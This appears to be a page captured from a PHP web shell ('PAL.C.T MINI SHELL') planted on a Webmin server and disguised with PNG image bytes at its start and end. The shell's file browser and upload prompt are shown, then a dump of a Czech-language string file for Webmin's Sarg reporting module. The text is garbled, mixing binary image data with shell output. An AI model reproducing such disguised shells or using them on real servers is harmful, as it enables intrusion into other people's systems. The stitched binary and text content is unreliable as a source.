php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/cs.auto

index_title=Squid Report Generator
index_econf=Ve vašem systému nebyl nalezen konfigurační soubor Sarg $1. Možná Sarg není nainstalována nebo je <a href='$2'>konfigurace modulu</a> nesprávná.
index_ecmd=Program Sarg $1 nebyl ve vašem systému nalezen. Možná není nainstalována nebo je <a href='$2'>konfigurace modulu</a> nesprávná.
index_eversion=Nepodařilo se získat verzi Sarg příkazem $1 : $2 
index_version=Sarg verze $1 
index_generate=Vygenerovat přehled
index_generatedesc=Klepnutím na toto tlačítko okamžitě vygenerujete sestavu Sarg v $1 pomocí aktuální konfigurace.
index_clear=Smazat existující přehled v adresáři?
index_range=Vygenerujte sestavu pro časové období
index_view=Zobrazit vygenerovaný přehled
index_viewdesc=Zobrazit naposledy vygenerovaný přehled v adresáři $1.
index_return=index modulu

log_title=Zdroj protokolu a cíl zprávy
log_header=Zdrojový soubor chobotnice a generované možnosti hlášení
log_access_log=Zdrojový soubor chobotnice
log_squid=Aktuální protokol serveru Squid ($1)
log_other=Jiný soubor
log_output_dir=Adresář zprávy o cíli
log_output_email=E-mailovou zprávu na adresu
log_nowhere=Nikde
log_useragent_log=Soubor protokolu uživatelských agentů
log_lastlog=Počet zpráv, které je třeba uchovat
log_unlimit=Neomezený
log_mail_utility=Příkaz pro odesílání pošty
log_remove_temp_files=Chcete po nahlášení smazat dočasné soubory?
log_err=Možnosti zdroje protokolu se nepodařilo uložit
log_efile=Soubor neexistuje
log_edir=Adresář neexistuje
log_elastlog=Chybí nebo není číslo
log_eemail=Chybí nebo neplatná e-mailová adresa
log_emailx=Chybějící nebo neexistující poštovní program
log_squidguard_log_path=Soubor protokolu SquidGuard

style_title=Styl zprávy
style_header=Možnosti stylu HTML a barev
style_title2=Název přehledu
style_font_face=Zpráva písmo těla
style_header_color=Barva záhlaví
style_header_bgcolor=Barva pozadí záhlaví
style_header_font_size=Velikost písma záhlaví
style_background_color=Barva pozadí
style_text_color=Barva textu
style_text_bgcolor=Barva pozadí textu
style_title_color=Barva názvu
style_logo_image=Referenční obrázek pro logo
style_image_size=Velikost obrázku (šířka a výška)
style_logo_text=Text pro logo
style_logo_text_color=Barva textu pro logo
style_background_image=Odkaz na obrázek na pozadí
style_err=Možnosti stylu přehledu se nepodařilo uložit
style_etitle=Chybí název přehledu
style_ecolour=Chybějící nebo neplatný název barvy nebo kód RRGGBB
style_efontsize=Chybějící nebo neplatný offset velikosti písma
style_efont=Chybějící nebo neplatný název písma
style_esize=Chybějící nebo neplatná šířka a výška obrázku
style_language=Jazyk hlášení
style_charset=Zpráva znaková sada

report_title=Možnosti hlášení
report_header=Nahlásit obsah a možnosti generování
report_resolve_ip=Vyřešit IP adresy?
report_user_ip=Používat IP adresy namísto uživatelských ID?
report_user_sort_field=Objednávka pro hlášení uživatele
report_topuser_sort_field=Přehled objednávek nejlepších uživatelů
report_reverse=V obráceném pořadí
report_forward=V předstihu
report_by_user=Podle uživatelského jména
report_by_connect=Podle času připojení
report_by_bytes=Byty
report_by_time=Časem
report_by_site=Podle místa
report_exclude_users=Seznam uživatelů, kteří je mají vyloučit
report_exclude_hosts=Vyloučení hostitelé souborů
report_index=Znovu vygenerovat soubor <tt>index.html</tt>?
report_only=Generujte pouze <tt>index.html</tt>
report_overwrite_report=Přepsat přehled pro datum?
report_overno=Ne, přejmenovat s.1
report_records_without_userid=Akce pro záznamy bez uživatele?
report_ignore=Úplně ignorovat
report_ip=Místo toho použijte IP adresu
report_everybody=Použijte uživatelské jméno <tt>všichni</tt>
report_use_comma=Místo toho použijte čárku. v číslech?
report_topsites_num=Počet nejlepších webů k zobrazení
report_topsites_sort_order=Přehled objednávek pro nejlepší weby
report_sorta=Vzestupně
report_sortd=Klesající
report_index_sort_order=Objednávání odkazů v <tt>index.html</tt>
report_exclude_codes=Soubor se seznamem HTTP kódů, které chcete vyloučit
report_max_elapsed=Maximální uplynulá doba (ms)
report_report_type=Vytvářejte sekce přehledů
report_topsites=Nejlepší stránky
report_topusers=Nejlepší uživatelé
report_sites_users=Stránky podle uživatele
report_users_sites=Uživatelé podle webu
report_date_time=Použití ve dne a hodině
report_denied=Odepřené stránky
report_downloads=Stahování
report_auth_failures=Selhání ověření
report_site_user_time_date=Weby, data, časy a bajty
report_all=Všechny zprávy
report_below=Vybráno níže ..
report_usertab=Mapovací soubor uživatelského jména
report_long_url=Zobrazit úplné adresy URL v přehledu?
report_date_time_by=Řadit datum a čas zprávy podle
report_bytes=Byty
report_elap=Uplynulý čas
report_user_invalid_char=Neplatné znaky v uživatelských jménech
report_privacy=Skrýt navštívené stránky?
report_privacy_string=Náhradní text pro navštívené weby
report_privacy_string_color=Barva pro náhradní text
report_below2=Zadáno níže ..
report_include_users=Vytvářejte přehled pouze pro uživatele
report_exclude_string=Vyloučit řádky protokolu obsahující
report_allusers=Všichni uživatelé
report_nostrings=Nevylučujte žádné
report_topuser_num=Počet nejlepších uživatelů k zobrazení
report_site_user_time_date_type=Místo, uživatel, datum a formát časové tabulky
report_table=HTML tabulka
report_list=Seznam textů
report_displayed_values=Zobrazit provoz jako
report_bytes2=Byty
report_abbrev=Zkrácená (K, M, G)
report_weekdays=Pracovní dny, které se mají zahrnout do přehledu
report_weekdays0=Su
report_weekdays1=Po
report_weekdays2=Tu
report_weekdays3=My
report_weekdays4=Th
report_weekdays5=Fr
report_weekdays6=Sa
report_hours=Hodiny, které je třeba zahrnout do přehledu
report_err=Možnosti přehledu se nepodařilo uložit
report_efile=Soubor neexistuje
report_enum=Ne číslo
report_echar=Prostory nejsou povoleny
report_estring=Chybějící nebo neplatný náhradní text
report_eselect=Nic vybráno
report_eenter=Nic nevstoupilo

sched_title=Plánované generování sestav
sched_header=Plánované možnosti hlášení
sched_sched=Plánovaná zpráva povolena?
sched_yes=Ano, v době vybrané níže ..
sched_clear=Vymazat adresář hlášení pokaždé?
sched_dir=Adresář hlášení
sched_edir=Na stránce <a href='$1'>Zdroj protokolu a cíl zprávy</a> nebyl definován žádný adresář přehledů zpráv. To musí být nastaveno, než bude možné naplánované hlášení aktivovat.
sched_esfile=Na stránce <a href='$1'>Zdroj protokolu a cíl zprávy</a> nebyl definován žádný soubor protokolu Squid. To musí být nastaveno, než bude možné naplánované hlášení aktivovat.
sched_range=Vygenerujte sestavu pro časové období
sched_rall=Všechny záznamy v souboru protokolu
sched_rsel=Ty od $1 do $2 dny
sched_err=Uložení naplánovaného generování sestav se nezdařilo
sched_erfrom=Chybějící nebo neplatný počáteční počet dní
sched_erto=Chybějící nebo neplatný konečný počet dní

view_title=Sargova zpráva
view_efile=Neplatný název souboru!
view_eopen=Soubor se zprávou se nepodařilo otevřít

gen_title=Generovat zprávu
gen_header=Nyní generuje zprávu Sarg ze souboru protokolu Squid $1 a všech otočených verzí ..
gen_done=.. Hotovo
gen_failed=.. Sarg selhal! Podrobnosti viz výše uvedený výstup.
gen_nothing=.. Sarg skončil, ale nebyla vygenerována žádná zpráva. Podrobnosti viz výše uvedený výstup.
gen_view=Zobrazit dokončenou zprávu.
gen_err=Generování zprávy se nezdařilo
gen_efrom=Chybí nebo je neplatný ode dne
gen_eto=Dnes chybí nebo je neplatný

webmin_log_log=Aktualizován zdroj protokolu a možnosti určení cíle
webmin_log_report=Aktualizované možnosti přehledu
webmin_log_style=Aktualizované možnosti stylu přehledu
webmin_log_sched_create=Povoleno naplánované hlášení
webmin_log_sched_delete=Zakázané naplánované přehledy
webmin_log_sched_update=Aktualizované plánované hlášení
webmin_log_sched_nothing=Levé naplánované hlášení je deaktivováno
webmin_log_generate=Vygenerovaná zpráva
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`